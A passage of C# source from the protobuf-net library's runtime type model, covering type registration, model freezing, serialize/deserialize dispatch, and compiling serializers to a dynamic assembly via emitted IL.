[XmlType]/[XmlElement(Order=n)] - /// [On{Des|S}erializ{ing|ed}] - /// ShouldSerialize*/*Specified - /// - /// The type to be supported - /// Whether to apply the inbuilt configuration patterns (via attributes etc), or - /// just add the type with no additional configuration (the type must then be manually configured). - /// The MetaType representing this type, allowing - /// further configuration. - public MetaType Add(Type type, bool applyDefaultBehaviour) - { - if (type == null) throw new ArgumentNullException("type"); - MetaType newType = FindWithoutAdd(type); - if (newType != null) return newType; // return existing - int opaqueToken = 0; - -#if WINRT - System.Reflection.TypeInfo typeInfo = System.Reflection.IntrospectionExtensions.GetTypeInfo(type); - if (typeInfo.IsInterface && MetaType.ienumerable.IsAssignableFrom(typeInfo) -#else - if (type.IsInterface && MapType(MetaType.ienumerable).IsAssignableFrom(type) -#endif - && GetListItemType(this, type) == null) - { - throw new ArgumentException( - "IEnumerable[] data cannot be used as a meta-type unless an Add method can be resolved"); - } - try - { - newType = RecogniseCommonTypes(type); - if (newType != null) - { - if (!applyDefaultBehaviour) - { - throw new ArgumentException( - "Default behaviour must be observed for certain types with special handling; " + - type.FullName, - "applyDefaultBehaviour"); - } - // we should assume that type is fully configured, though; no need to re-run: - applyDefaultBehaviour = false; - } - if (newType == null) newType = Create(type); - newType.Pending = true; - TakeLock(ref opaqueToken); - // double checked - if (FindWithoutAdd(type) != null) throw new ArgumentException("Duplicate type", "type"); - ThrowIfFrozen(); - types.Add(newType); - if (applyDefaultBehaviour) - { - newType.ApplyDefaultBehaviour(); - } - newType.Pending = false; - } - finally - { - ReleaseLock(opaqueToken); - } - - return newType; - } - -#if FEAT_COMPILER && !FX11 - /// - /// Should serializers be compiled on demand? It may be useful - /// to disable this for debugging purposes. - /// - public bool AutoCompile - { - get { return GetOption(OPTIONS_AutoCompile); } - set { SetOption(OPTIONS_AutoCompile, value); } - } -#endif - - /// - /// Should support for unexpected types be added automatically? - /// If false, an exception is thrown when unexpected types - /// are encountered. - /// - public bool AutoAddMissingTypes - { - get { return GetOption(OPTIONS_AutoAddMissingTypes); } - set - { - if (!value && GetOption(OPTIONS_IsDefaultModel)) - { - throw new InvalidOperationException("The default model must allow missing types"); - } - ThrowIfFrozen(); - SetOption(OPTIONS_AutoAddMissingTypes, value); - } - } - - /// - /// Verifies that the model is still open to changes; if not, an exception is thrown - /// - private void ThrowIfFrozen() - { - if (GetOption(OPTIONS_Frozen)) - throw new InvalidOperationException("The model cannot be changed once frozen"); - } - - /// - /// Prevents further changes to this model - /// - public void Freeze() - { - if (GetOption(OPTIONS_IsDefaultModel)) - throw new InvalidOperationException("The default model cannot be frozen"); - SetOption(OPTIONS_Frozen, true); - } - - private readonly BasicList types = new BasicList(); - - /// - /// Provides the key that represents a given type in the current model. - /// - protected override int GetKeyImpl(Type type) - { - return GetKey(type, false, true); - } - - internal int GetKey(Type type, bool demand, bool getBaseKey) - { - Helpers.DebugAssert(type != null); - try - { - int typeIndex = FindOrAddAuto(type, demand, true, false); - if (typeIndex >= 0) - { - MetaType mt = (MetaType) types[typeIndex]; - if (getBaseKey) - { - mt = MetaType.GetRootType(mt); - typeIndex = FindOrAddAuto(mt.Type, true, true, false); - } - } - return typeIndex; - } - catch (NotSupportedException) - { - throw; // re-surface "as-is" - } - catch (Exception ex) - { - if (ex.Message.IndexOf(type.FullName) >= 0) throw; // already enough info - throw new ProtoException(ex.Message + " (" + type.FullName + ")", ex); - } - } - - /// - /// Writes a protocol-buffer representation of the given instance to the supplied stream. - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be serialized (cannot be null). - /// The destination stream to write to. - protected internal override void Serialize(int key, object value, ProtoWriter dest) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - //Helpers.DebugWriteLine("Serialize", value); - ((MetaType) types[key]).Serializer.Write(value, dest); -#endif - } - - /// - /// Applies a protocol-buffer stream to an existing instance (which may be null). - /// - /// Represents the type (including inheritance) to consider. - /// The existing instance to be modified (can be null). - /// The binary stream to apply to the instance (cannot be null). - /// The updated instance; this may be different to the instance argument if - /// either the original instance was null, or the stream defines a known sub-type of the - /// original instance. - protected internal override object Deserialize(int key, object value, ProtoReader source) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - //Helpers.DebugWriteLine("Deserialize", value); - IProtoSerializer ser = ((MetaType) types[key]).Serializer; - if (value == null && Helpers.IsValueType(ser.ExpectedType)) - { - if (ser.RequiresOldValue) value = Activator.CreateInstance(ser.ExpectedType); - return ser.Read(value, source); - } - else - { - return ser.Read(value, source); - } -#endif - } - -#if FEAT_COMPILER - // this is used by some unit-tests; do not remove - internal Compiler.ProtoSerializer GetSerializer(IProtoSerializer serializer, bool compiled) - { -#if FEAT_IKVM - throw new NotSupportedException(); -#else - if (serializer == null) throw new ArgumentNullException("serializer"); -#if FEAT_COMPILER && !FX11 - if (compiled) return Compiler.CompilerContext.BuildSerializer(serializer, this); -#endif - return new Compiler.ProtoSerializer(serializer.Write); -#endif - } - -#if !FX11 - /// - /// Compiles the serializers individually; this is *not* a full - /// standalone compile, but can significantly boost performance - /// while allowing additional types to be added. - /// - /// An in-place compile can access non-public types / members - public void CompileInPlace() - { - foreach (MetaType type in types) - { - type.CompileInPlace(); - } - } -#endif -#endif - //internal override IProtoSerializer GetTypeSerializer(Type type) - //{ // this list is thread-safe for reading - // .Serializer; - //} - //internal override IProtoSerializer GetTypeSerializer(int key) - //{ // this list is thread-safe for reading - // MetaType type = (MetaType)types.TryGet(key); - // if (type != null) return type.Serializer; - // throw new KeyNotFoundException(); - - //} - - -#if FEAT_COMPILER - private void BuildAllSerializers() - { - // note that types.Count may increase during this operation, as some serializers - // bring other types into play - for (int i = 0; i < types.Count; i++) - { - // the primary purpose of this is to force the creation of the Serializer - MetaType mt = (MetaType)types[i]; - if (mt.Serializer == null) - throw new InvalidOperationException("No serializer available for " + mt.Type.Name); - } - } -#if !SILVERLIGHT - internal sealed class SerializerPair : IComparable - { - int IComparable.CompareTo(object obj) - { - if (obj == null) throw new ArgumentException("obj"); - SerializerPair other = (SerializerPair)obj; - - // we want to bunch all the items with the same base-type together, but we need the items with a - // different base **first**. - if (this.BaseKey == this.MetaKey) - { - if (other.BaseKey == other.MetaKey) - { // neither is a subclass - return this.MetaKey.CompareTo(other.MetaKey); - } - else - { // "other" (only) is involved in inheritance; "other" should be first - return 1; - } - } - else - { - if (other.BaseKey == other.MetaKey) - { // "this" (only) is involved in inheritance; "this" should be first - return -1; - } - else - { // both are involved in inheritance - int result = this.BaseKey.CompareTo(other.BaseKey); - if (result == 0) result = this.MetaKey.CompareTo(other.MetaKey); - return result; - } - } - } - public readonly int MetaKey, BaseKey; - public readonly MetaType Type; - public readonly MethodBuilder Serialize, Deserialize; - public readonly ILGenerator SerializeBody, DeserializeBody; - public SerializerPair(int metaKey, int baseKey, MetaType type, MethodBuilder serialize, MethodBuilder deserialize, - ILGenerator serializeBody, ILGenerator deserializeBody) - { - this.MetaKey = metaKey; - this.BaseKey = baseKey; - this.Serialize = serialize; - this.Deserialize = deserialize; - this.SerializeBody = serializeBody; - this.DeserializeBody = deserializeBody; - this.Type = type; - } - } - - /// - /// Fully compiles the current model into a static-compiled model instance - /// - /// A full compilation is restricted to accessing public types / members - /// An instance of the newly created compiled type-model - public TypeModel Compile() - { - return Compile(null, null); - } - static ILGenerator Override(TypeBuilder type, string name) - { - MethodInfo baseMethod = type.BaseType.GetMethod(name, BindingFlags.NonPublic | BindingFlags.Instance); - - ParameterInfo[] parameters = baseMethod.GetParameters(); - Type[] paramTypes = new Type[parameters.Length]; - for(int i = 0 ; i < paramTypes.Length ; i++) { - paramTypes[i] = parameters[i].ParameterType; - } - MethodBuilder newMethod = type.DefineMethod(baseMethod.Name, - (baseMethod.Attributes & ~MethodAttributes.Abstract) | MethodAttributes.Final, baseMethod.CallingConvention, baseMethod.ReturnType, paramTypes); - ILGenerator il = newMethod.GetILGenerator(); - type.DefineMethodOverride(newMethod, baseMethod); - return il; - } - -#if FEAT_IKVM - /// - /// Inspect the model, and resolve all related types - /// - public void Cascade() - { - BuildAllSerializers(); - } - /// - /// Translate a System.Type into the universe's type representation - /// - protected internal override Type MapType(System.Type type, bool demand) - { - if (type == null) return null; -#if DEBUG - if (type.Assembly == typeof(IKVM.Reflection.Type).Assembly) - { - throw new InvalidOperationException(string.Format( - "Somebody is passing me IKVM types! {0} should be fully-qualified at the call-site", - type.Name)); - } -#endif - Type result = universe.GetType(type.AssemblyQualifiedName); - - if(result == null) - { - // things also tend to move around... *a lot* - especially in WinRT; search all as a fallback strategy - foreach (Assembly a in universe.GetAssemblies()) - { - result = a.GetType(type.FullName); - if (result != null) break; - } - if (result == null && demand) - { - throw new InvalidOperationException("Unable to map type: " + type.AssemblyQualifiedName); - } - } - return result; - } -#endif - /// - /// Represents configuration options for compiling a model to - /// a standalone assembly. - /// - public sealed class CompilerOptions - { - /// - /// Import framework options from an existing type - /// - public void SetFrameworkOptions(MetaType from) - { - if (from == null) throw new ArgumentNullException("from"); - AttributeMap[] attribs = AttributeMap.Create(from.Model, from.Type.Assembly); - foreach (AttributeMap attrib in attribs) - { - if (attrib.AttributeType.FullName == "System.Runtime.Versioning.TargetFrameworkAttribute") - { - object tmp; - if (attrib.TryGet("FrameworkName", out tmp)) TargetFrameworkName = (string)tmp; - if (attrib.TryGet("FrameworkDisplayName", out tmp)) TargetFrameworkDisplayName = (string)tmp; - break; - } - } - } - - private string targetFrameworkName, targetFrameworkDisplayName, typeName, outputPath, imageRuntimeVersion; - private int metaDataVersion; - /// - /// The TargetFrameworkAttribute FrameworkName value to burn into the generated assembly - /// - public string TargetFrameworkName { get { return targetFrameworkName; } set { targetFrameworkName = value; } } - - /// - /// The TargetFrameworkAttribute FrameworkDisplayName value to burn into the generated assembly - /// - public string TargetFrameworkDisplayName { get { return targetFrameworkDisplayName; } set { targetFrameworkDisplayName = value; } } - /// - /// The name of the TypeModel class to create - /// - public string TypeName { get { return typeName; } set { typeName = value; } } - /// - /// The path for the new dll - /// - public string OutputPath { get { return outputPath; } set { outputPath = value; } } - /// - /// The runtime version for the generated assembly - /// - public string ImageRuntimeVersion { get { return imageRuntimeVersion; } set { imageRuntimeVersion = value; } } - /// - /// The runtime version for the generated assembly - /// - public int MetaDataVersion { get { return metaDataVersion; } set { metaDataVersion = value; } } - - - private Accessibility accessibility = Accessibility.Public; - /// - /// The acecssibility of the generated serializer - /// - public Accessibility Accessibility { get { return accessibility; } set { accessibility = value; } } - -#if FEAT_IKVM - /// - /// The name of the container that holds the key pair. - /// - public string KeyContainer { get; set; } - /// - /// The path to a file that hold the key pair. - /// - public string KeyFile { get; set; } - - /// - /// The public key to sign the file with. - /// - public string PublicKey { get; set; } -#endif - } - /// - /// Type accessibility - /// - public enum Accessibility - { - /// - /// Available to all callers - /// - Public, - /// - /// Available to all callers in the same assembly, or assemblies specified via [InternalsVisibleTo(...)] - /// - Internal - } - /// - /// Fully compiles the current model into a static-compiled serialization dll - /// (the serialization dll still requires protobuf-net for support services). - /// - /// A full compilation is restricted to accessing public types / members - /// The name of the TypeModel class to create - /// The path for the new dll - /// An instance of the newly created compiled type-model - public TypeModel Compile(string name, string path) - { - CompilerOptions options = new CompilerOptions(); - options.TypeName = name; - options.OutputPath = path; - return Compile(options); - } - - /// - /// Fully compiles the current model into a static-compiled serialization dll - /// (the serialization dll still requires protobuf-net for support services). - /// - /// A full compilation is restricted to accessing public types / members - /// An instance of the newly created compiled type-model - public TypeModel Compile(CompilerOptions options) - { - if (options == null) throw new ArgumentNullException("options"); - string typeName = options.TypeName; - string path = options.OutputPath; - BuildAllSerializers(); - Freeze(); - bool save = !Helpers.IsNullOrEmpty(path); - if (Helpers.IsNullOrEmpty(typeName)) - { - if (save) throw new ArgumentNullException("typeName"); - typeName = Guid.NewGuid().ToString(); - } - - - string assemblyName, moduleName; - if(path == null) - { - assemblyName = typeName; - moduleName = assemblyName + ".dll"; - } - else - { - assemblyName = new System.IO.FileInfo(System.IO.Path.GetFileNameWithoutExtension(path)).Name; - moduleName = assemblyName + System.IO.Path.GetExtension(path); - } - -#if FEAT_IKVM - IKVM.Reflection.AssemblyName an = new IKVM.Reflection.AssemblyName(); - an.Name = assemblyName; - AssemblyBuilder asm = universe.DefineDynamicAssembly(an, AssemblyBuilderAccess.Save); - if (!Helpers.IsNullOrEmpty(options.KeyFile)) - { - asm.__SetAssemblyKeyPair(new StrongNameKeyPair(File.OpenRead(options.KeyFile))); - } - else if (!Helpers.IsNullOrEmpty(options.KeyContainer)) - { - asm.__SetAssemblyKeyPair(new StrongNameKeyPair(options.KeyContainer)); - } - else if (!Helpers.IsNullOrEmpty(options.PublicKey)) - { - asm.__SetAssemblyPublicKey(FromHex(options.PublicKey)); - } - if(!Helpers.IsNullOrEmpty(options.ImageRuntimeVersion) && options.MetaDataVersion != 0) - { - asm.__SetImageRuntimeVersion(options.ImageRuntimeVersion, options.MetaDataVersion); - } - ModuleBuilder module = asm.DefineDynamicModule(moduleName, path); -#else - AssemblyName an = new AssemblyName(); - an.Name = assemblyName; - AssemblyBuilder asm = AppDomain.CurrentDomain.DefineDynamicAssembly(an, - (save ? AssemblyBuilderAccess.RunAndSave : AssemblyBuilderAccess.Run) - ); - ModuleBuilder module = save ? asm.DefineDynamicModule(moduleName, path) - : asm.DefineDynamicModule(moduleName); -#endif - - WriteAssemblyAttributes(options, assemblyName, asm); - - TypeBuilder type = WriteBasicTypeModel(options, typeName, module); - - int index; - bool hasInheritance; - SerializerPair[] methodPairs; - Compiler.CompilerContext.ILVersion ilVersion; - WriteSerializers(options, assemblyName, type, out index, out hasInheritance, out methodPairs, out ilVersion); - - ILGenerator il; - int knownTypesCategory; - FieldBuilder knownTypes; - Type knownTypesLookupType; - WriteGetKeyImpl(type, hasInheritance, methodPairs, ilVersion, assemblyName, out il, out knownTypesCategory, out knownTypes, out knownTypesLookupType); - - Compiler.CompilerContext ctx = WriteSerializeDeserialize(assemblyName, type, methodPairs, ilVersion, ref il); - - WriteConstructors(type, ref index, methodPairs, ref il, knownTypesCategory, knownTypes, knownTypesLookupType, ctx); - - - - Type finalType = type.CreateType(); - if(!Helpers.IsNullOrEmpty(path)) - { - asm.Save(path); - Helpers.DebugWriteLine("Wrote dll:" + path); - } -#if FEAT_IKVM - return null; -#else - return (TypeModel)Activator.CreateInstance(finalType); -#endif - } -#if FEAT_IKVM - private byte[] FromHex(string value) - { - if (Helpers.IsNullOrEmpty(value)) throw new ArgumentNullException("value"); - int len = value.Length / 2; - byte[] result = new byte[len]; - for(int i = 0 ; i < len ; i++) - { - result[i] = Convert.ToByte(value.Substring(i * 2, 2), 16); - } - return result; - } -#endif - private void WriteConstructors(TypeBuilder type, ref int index, SerializerPair[] methodPairs, ref ILGenerator il, int knownTypesCategory, FieldBuilder knownTypes, Type knownTypesLookupType, Compiler.CompilerContext ctx) - { - type.DefineDefaultConstructor(MethodAttributes.Public); - il = type.DefineTypeInitializer().GetILGenerator(); - switch (knownTypesCategory) - { - case KnownTypes_Array: - { - Compiler.CompilerContext.LoadValue(il, types.Count); - il.Emit(OpCodes.Newarr, ctx.MapType(typeof(System.Type))); - index = 0; - foreach (SerializerPair pair in methodPairs) - { - il.Emit(OpCodes.Dup); - Compiler.CompilerContext.LoadValue(il, index); - il.Emit(OpCodes.Ldtoken, pair.Type.Type); - il.EmitCall(OpCodes.Call, ctx.MapType(typeof(System.Type)).GetMethod("GetTypeFromHandle"), null); - il.Emit(OpCodes.Stelem_Ref); - index++; - } - il.Emit(OpCodes.Stsfld, knownTypes); - il.Emit(OpCodes.Ret); - } - break; - case KnownTypes_Dictionary: - { - Compiler.CompilerContext.LoadValue(il, types.Count); - //LocalBuilder loc = il.DeclareLocal(knownTypesLookupType); - il.Emit(OpCodes.Newobj, knownTypesLookupType.GetConstructor(new Type[] { MapType(typeof(int)) })); - il.Emit(OpCodes.Stsfld, knownTypes); - int typeIndex = 0; - foreach (SerializerPair pair in methodPairs) - { - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldtoken, pair.Type.Type); - il.EmitCall(OpCodes.Call, ctx.MapType(typeof(System.Type)).GetMethod("GetTypeFromHandle"), null); - int keyIndex = typeIndex++, lastKey = pair.BaseKey; - if (lastKey != pair.MetaKey) // not a base-type; need to give the index of the base-type - { - keyIndex = -1; // assume epic fail - for (int j = 0; j < methodPairs.Length; j++) - { - if (methodPairs[j].BaseKey == lastKey && methodPairs[j].MetaKey == lastKey) - { - keyIndex = j; - break; - } - } - } - Compiler.CompilerContext.LoadValue(il, keyIndex); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("Add", new Type[] { MapType(typeof(System.Type)), MapType(typeof(int)) }), null); - } - il.Emit(OpCodes.Ret); - } - break; - case KnownTypes_Hashtable: - { - Compiler.CompilerContext.LoadValue(il, types.Count); - il.Emit(OpCodes.Newobj, knownTypesLookupType.GetConstructor(new Type[] { MapType(typeof(int)) })); - il.Emit(OpCodes.Stsfld, knownTypes); - int typeIndex = 0; - foreach (SerializerPair pair in methodPairs) - { - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldtoken, pair.Type.Type); - il.EmitCall(OpCodes.Call, ctx.MapType(typeof(System.Type)).GetMethod("GetTypeFromHandle"), null); - int keyIndex = typeIndex++, lastKey = pair.BaseKey; - if (lastKey != pair.MetaKey) // not a base-type; need to give the index of the base-type - { - keyIndex = -1; // assume epic fail - for (int j = 0; j < methodPairs.Length; j++) - { - if (methodPairs[j].BaseKey == lastKey && methodPairs[j].MetaKey == lastKey) - { - keyIndex = j; - break; - } - } - } - Compiler.CompilerContext.LoadValue(il, keyIndex); - il.Emit(OpCodes.Box, MapType(typeof(int))); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("Add", new Type[] { MapType(typeof(object)), MapType(typeof(object)) }), null); - } - il.Emit(OpCodes.Ret); - } - break; - default: - throw new InvalidOperationException(); - } - } - - private Compiler.CompilerContext WriteSerializeDeserialize(string assemblyName, TypeBuilder type, SerializerPair[] methodPairs, Compiler.CompilerContext.ILVersion ilVersion, ref ILGenerator il) - { - il = Override(type, "Serialize"); - Compiler.CompilerContext ctx = new Compiler.CompilerContext(il, false, true, methodPairs, this, ilVersion, assemblyName, MapType(typeof(object))); - // arg0 = this, arg1 = key, arg2=obj, arg3=dest - Compiler.CodeLabel[] jumpTable = new Compiler.CodeLabel[types.Count]; - for (int i = 0; i < jumpTable.Length; i++) - { - jumpTable[i] = ctx.DefineLabel(); - } - il.Emit(OpCodes.Ldarg_1); - ctx.Switch(jumpTable); - ctx.Return(); - for (int i = 0; i < jumpTable.Length; i++) - { - SerializerPair pair = methodPairs[i]; - ctx.MarkLabel(jumpTable[i]); - il.Emit(OpCodes.Ldarg_2); - ctx.CastFromObject(pair.Type.Type); - il.Emit(OpCodes.Ldarg_3); - il.EmitCall(OpCodes.Call, pair.Serialize, null); - ctx.Return(); - } - - il = Override(type, "Deserialize"); - ctx = new Compiler.CompilerContext(il, false, false, methodPairs, this, ilVersion, assemblyName, MapType(typeof(object))); - // arg0 = this, arg1 = key, arg2=obj, arg3=source - for (int i = 0; i < jumpTable.Length; i++) - { - jumpTable[i] = ctx.DefineLabel(); - } - il.Emit(OpCodes.Ldarg_1); - ctx.Switch(jumpTable); - ctx.LoadNullRef(); - ctx.Return(); - for (int i = 0; i < jumpTable.Length; i++) - { - SerializerPair pair = methodPairs[i]; - ctx.MarkLabel(jumpTable[i]); - Type keyType = pair.Type.Type; - if (keyType.IsValueType) - { - il.Emit(OpCodes.Ldarg_2); - il.Emit(OpCodes.Ldarg_3); - il.EmitCall(OpCodes.Call, EmitBoxedSerializer(type, i, keyType, methodPairs, this, ilVersion, assemblyName), null); - ctx.Return(); - } - else - { - il.Emit(OpCodes.Ldarg_2); - ctx.CastFromObject(keyType); - il.Emit(OpCodes.Ldarg_3); - il.EmitCall(OpCodes.Call, pair.Deserialize, null); - ctx.Return(); - } - } - return ctx; - } - - private const int KnownTypes_Array = 1, KnownTypes_Dictionary = 2, KnownTypes_Hashtable = 3, KnownTypes_ArrayCutoff = 20; - private void WriteGetKeyImpl(TypeBuilder type, bool hasInheritance, SerializerPair[] methodPairs, Compiler.CompilerContext.ILVersion ilVersion, string assemblyName, out ILGenerator il, out int knownTypesCategory, out FieldBuilder knownTypes, out Type knownTypesLookupType) - { - - il = Override(type, "GetKeyImpl"); - Compiler.CompilerContext ctx = new Compiler.CompilerContext(il, false, false, methodPairs, this, ilVersion, assemblyName, MapType(typeof(System.Type), true)); - - if (types.Count <= KnownTypes_ArrayCutoff) - { - knownTypesCategory = KnownTypes_Array; - knownTypesLookupType = MapType(typeof(System.Type[]), true); - } - else - { -#if NO_GENERICS - knownTypesLookupType = null; -#else - knownTypesLookupType = MapType(typeof(System.Collections.Generic.Dictionary), false); -#endif - if (knownTypesLookupType == null) - { - knownTypesLookupType = MapType(typeof(Hashtable), true); - knownTypesCategory = KnownTypes_Hashtable; - } - else - { - knownTypesCategory = KnownTypes_Dictionary; - } - } - knownTypes = type.DefineField("knownTypes", knownTypesLookupType, FieldAttributes.Private | FieldAttributes.InitOnly | FieldAttributes.Static); - - switch (knownTypesCategory) - { - case KnownTypes_Array: - { - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldarg_1); - // note that Array.IndexOf is not supported under CF - il.EmitCall(OpCodes.Callvirt, MapType(typeof(IList)).GetMethod( - "IndexOf", new Type[] { MapType(typeof(object)) }), null); - if (hasInheritance) - { - il.DeclareLocal(MapType(typeof(int))); // loc-0 - il.Emit(OpCodes.Dup); - il.Emit(OpCodes.Stloc_0); - - BasicList getKeyLabels = new BasicList(); - int lastKey = -1; - for (int i = 0; i < methodPairs.Length; i++) - { - if (methodPairs[i].MetaKey == methodPairs[i].BaseKey) break; - if (lastKey == methodPairs[i].BaseKey) - { // add the last label again - getKeyLabels.Add(getKeyLabels[getKeyLabels.Count - 1]); - } - else - { // add a new unique label - getKeyLabels.Add(ctx.DefineLabel()); - lastKey = methodPairs[i].BaseKey; - } - } - Compiler.CodeLabel[] subtypeLabels = new Compiler.CodeLabel[getKeyLabels.Count]; - getKeyLabels.CopyTo(subtypeLabels, 0); - - ctx.Switch(subtypeLabels); - il.Emit(OpCodes.Ldloc_0); // not a sub-type; use the original value - il.Emit(OpCodes.Ret); - - lastKey = -1; - // now output the different branches per sub-type (not derived type) - for (int i = subtypeLabels.Length - 1; i >= 0; i--) - { - if (lastKey != methodPairs[i].BaseKey) - { - lastKey = methodPairs[i].BaseKey; - // find the actual base-index for this base-key (i.e. the index of - // the base-type) - int keyIndex = -1; - for (int j = subtypeLabels.Length; j < methodPairs.Length; j++) - { - if (methodPairs[j].BaseKey == lastKey && methodPairs[j].MetaKey == lastKey) - { - keyIndex = j; - break; - } - } - ctx.MarkLabel(subtypeLabels[i]); - Compiler.CompilerContext.LoadValue(il, keyIndex); - il.Emit(OpCodes.Ret); - } - } - } - else - { - il.Emit(OpCodes.Ret); - } - } - break; - case KnownTypes_Dictionary: - { - LocalBuilder result = il.DeclareLocal(MapType(typeof(int))); - Label otherwise = il.DefineLabel(); - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldarg_1); - il.Emit(OpCodes.Ldloca_S, result); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetMethod("TryGetValue", BindingFlags.Instance | BindingFlags.Public), null); - il.Emit(OpCodes.Brfalse_S, otherwise); - il.Emit(OpCodes.Ldloc_S, result); - il.Emit(OpCodes.Ret); - il.MarkLabel(otherwise); - il.Emit(OpCodes.Ldc_I4_M1); - il.Emit(OpCodes.Ret); - } - break; - case KnownTypes_Hashtable: - { - Label otherwise = il.DefineLabel(); - il.Emit(OpCodes.Ldsfld, knownTypes); - il.Emit(OpCodes.Ldarg_1); - il.EmitCall(OpCodes.Callvirt, knownTypesLookupType.GetProperty("Item").GetGetMethod(), null); - il.Emit(OpCodes.Dup); - il.Emit(OpCodes.Brfalse_S, otherwise); -#if FX11 - il.Emit(OpCodes.Unbox, MapType(typeof(int))); - il.Emit(OpCodes.Ldobj, MapType(typeof(int))); -#else - if (ilVersion == Compiler.CompilerContext.ILVersion.Net1) - { - il.Emit(OpCodes.Unbox, MapType(typeof(int))); - il.Emit(OpCodes.Ldobj, MapType(typeof(int))); - } - else - { - il.Emit(OpCodes.Unbox_Any, MapType(typeof(int))); - } -#endif - il.Emit(OpCodes.Ret); - il.MarkLabel(otherwise); - il.Emit(OpCodes.Pop); - il.Emit(OpCodes.Ldc_I4_M1); - il.Emit(OpCodes.Ret); - } - break; - default: - throw new InvalidOperationException(); - } - } - - private void WriteSerializers(CompilerOptions options, string assemblyName, TypeBuilder type, out int index, out bool hasInheritance, out SerializerPair[] methodPairs, out Compiler.CompilerContext.ILVersion ilVersion) - { - Compiler.CompilerContext ctx; - - index = 0; - hasInheritance = false; - methodPairs = new SerializerPair[types.Count]; - foreach (MetaType metaType in types) - { - MethodBuilder writeMethod = type.DefineMethod("Write" -#if DEBUG - + metaType.Type.Name -#endif -, - MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, - MapType(typeof(void)), new Type[] { metaType.Type, MapType(typeof(ProtoWriter)) }); - - MethodBuilder readMethod = type.DefineMethod("Read" -#if DEBUG - + metaType.Type.Name -#endif -, - MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, - metaType.Type, new Type[] { metaType.Type, MapType(typeof(ProtoReader)) }); - - SerializerPair pair = new SerializerPair( - GetKey(metaType.Type, true, false), GetKey(metaType.Type, true, true), metaType, - writeMethod, readMethod, writeMethod.GetILGenerator(), readMethod.GetILGenerator()); - methodPairs[index++] = pair; - if (pair.MetaKey != pair.BaseKey) hasInheritance = true; - } - - if (hasInheritance) - { - Array.Sort(methodPairs); - } - - ilVersion = Compiler.CompilerContext.ILVersion.Net2; - if (options.MetaDataVersion == 0x10000) - { - ilVersion = Compiler.CompilerContext.ILVersion.Net1; // old-school! - } - for (index = 0; index < methodPairs.Length; index++) - { - SerializerPair pair = methodPairs[index]; - ctx = new Compiler.CompilerContext(pair.SerializeBody, true, true, methodPairs, this, ilVersion, assemblyName, pair.Type.Type); - ctx.CheckAccessibility(pair.Deserialize.ReturnType); - pair.Type.Serializer.EmitWrite(ctx, ctx.InputValue); - ctx.Return(); - - ctx = new Compiler.CompilerContext(pair.DeserializeBody, true, false, methodPairs, this, ilVersion, assemblyName, pair.Type.Type); - pair.Type.Serializer.EmitRead(ctx, ctx.InputValue); - if (!pair.Type.Serializer.ReturnsValue) - { - ctx.LoadValue(ctx.InputValue); - } - ctx.Return(); - } - } - - private TypeBuilder WriteBasicTypeModel(CompilerOptions options, string typeName, ModuleBuilder module) - { - Type baseType = MapType(typeof(TypeModel)); - TypeAttributes typeAttributes = (baseType.Attributes & ~TypeAttributes.Abstract) | TypeAttributes.Sealed; - if (options.Accessibility == Accessibility.Internal) - { - typeAttributes &= ~TypeAttributes.Public; - } - - TypeBuilder type = module.DefineType(typeName, typeAttributes, baseType); - return type; - } - - private void WriteAssemblyAttributes(CompilerOptions options, string assemblyName, AssemblyBuilder asm) - { - if (!Helpers.IsNullOrEmpty(options.TargetFrameworkName)) - { - // get [TargetFramework] from mscorlib/equivalent and burn into the new assembly - Type versionAttribType = null; - try - { // this is best-endeavours only - versionAttribType = GetType("System.Runtime.Versioning.TargetFrameworkAttribute", MapType(typeof(string)).Assembly); - } - catch { /* don't stress */ } - if (versionAttribType != null) - { - PropertyInfo[] props; - object[] propValues; - if (Helpers.IsNullOrEmpty(options.TargetFrameworkDisplayName)) - { - props = new PropertyInfo[0]; - propValues = new object[0]; - } - else - { - props = new PropertyInfo[1] { versionAttribType.GetProperty("FrameworkDisplayName") }; - propValues = new object[1] { options.TargetFrameworkDisplayName }; - } - CustomAttributeBuilder builder = new CustomAttributeBuilder( - versionAttribType.GetConstructor(new Type[] { MapType(typeof(string)) }), - new object[] { options.TargetFrameworkName }, - props, - propValues); - asm.SetCustomAttribute(builder); - } - } - - // copy assembly:InternalsVisibleTo - Type internalsVisibleToAttribType = null; -#if !FX11 - try - { - internalsVisibleToAttribType = MapType(typeof(System.Runtime.CompilerServices.InternalsVisibleToAttribute)); - } - catch { /* best endeavors only */ } -#endif - if (internalsVisibleToAttribType != null) - { - BasicList internalAssemblies = new BasicList(), consideredAssemblies = new BasicList(); - foreach (MetaType metaType in types) - { - Assembly assembly = metaType.Type.Assembly; - if (consideredAssemblies.IndexOfReference(assembly) >= 0) continue; - consideredAssemblies.Add(assembly); - - AttributeMap[] assemblyAttribsMap = AttributeMap.Create(this, assembly); - for (int i = 0; i < assemblyAttribsMap.Length; i++) - { - - if (assemblyAttribsMap[i].AttributeType != internalsVisibleToAttribType) continue; - - object privelegedAssemblyObj; - assemblyAttribsMap[i].TryGet("AssemblyName", out privelegedAssemblyObj); - string privelegedAssemblyName = privelegedAssemblyObj as string; - if (privelegedAssemblyName == assemblyName || Helpers.IsNullOrEmpty(privelegedAssemblyName)) continue; // ignore - - if (internalAssemblies.IndexOfString(privelegedAssemblyName) >= 0) continue; // seen it before - internalAssemblies.Add(privelegedAssemblyName); - - CustomAttributeBuilder builder = new CustomAttributeBuilder( - internalsVisibleToAttribType.GetConstructor(new Type[] { MapType(typeof(string)) }), - new object[] { privelegedAssemblyName }); - asm.SetCustomAttribute(builder); - } - } - } - } - - private static MethodBuilder EmitBoxedSerializer(TypeBuilder type, int i, Type valueType, SerializerPair[] methodPairs, TypeModel model, Compiler.CompilerContext.ILVersion ilVersion, string assemblyName) - { - MethodInfo dedicated = methodPairs[i].Deserialize; - MethodBuilder boxedSerializer = type.DefineMethod("_" + i.ToString(), 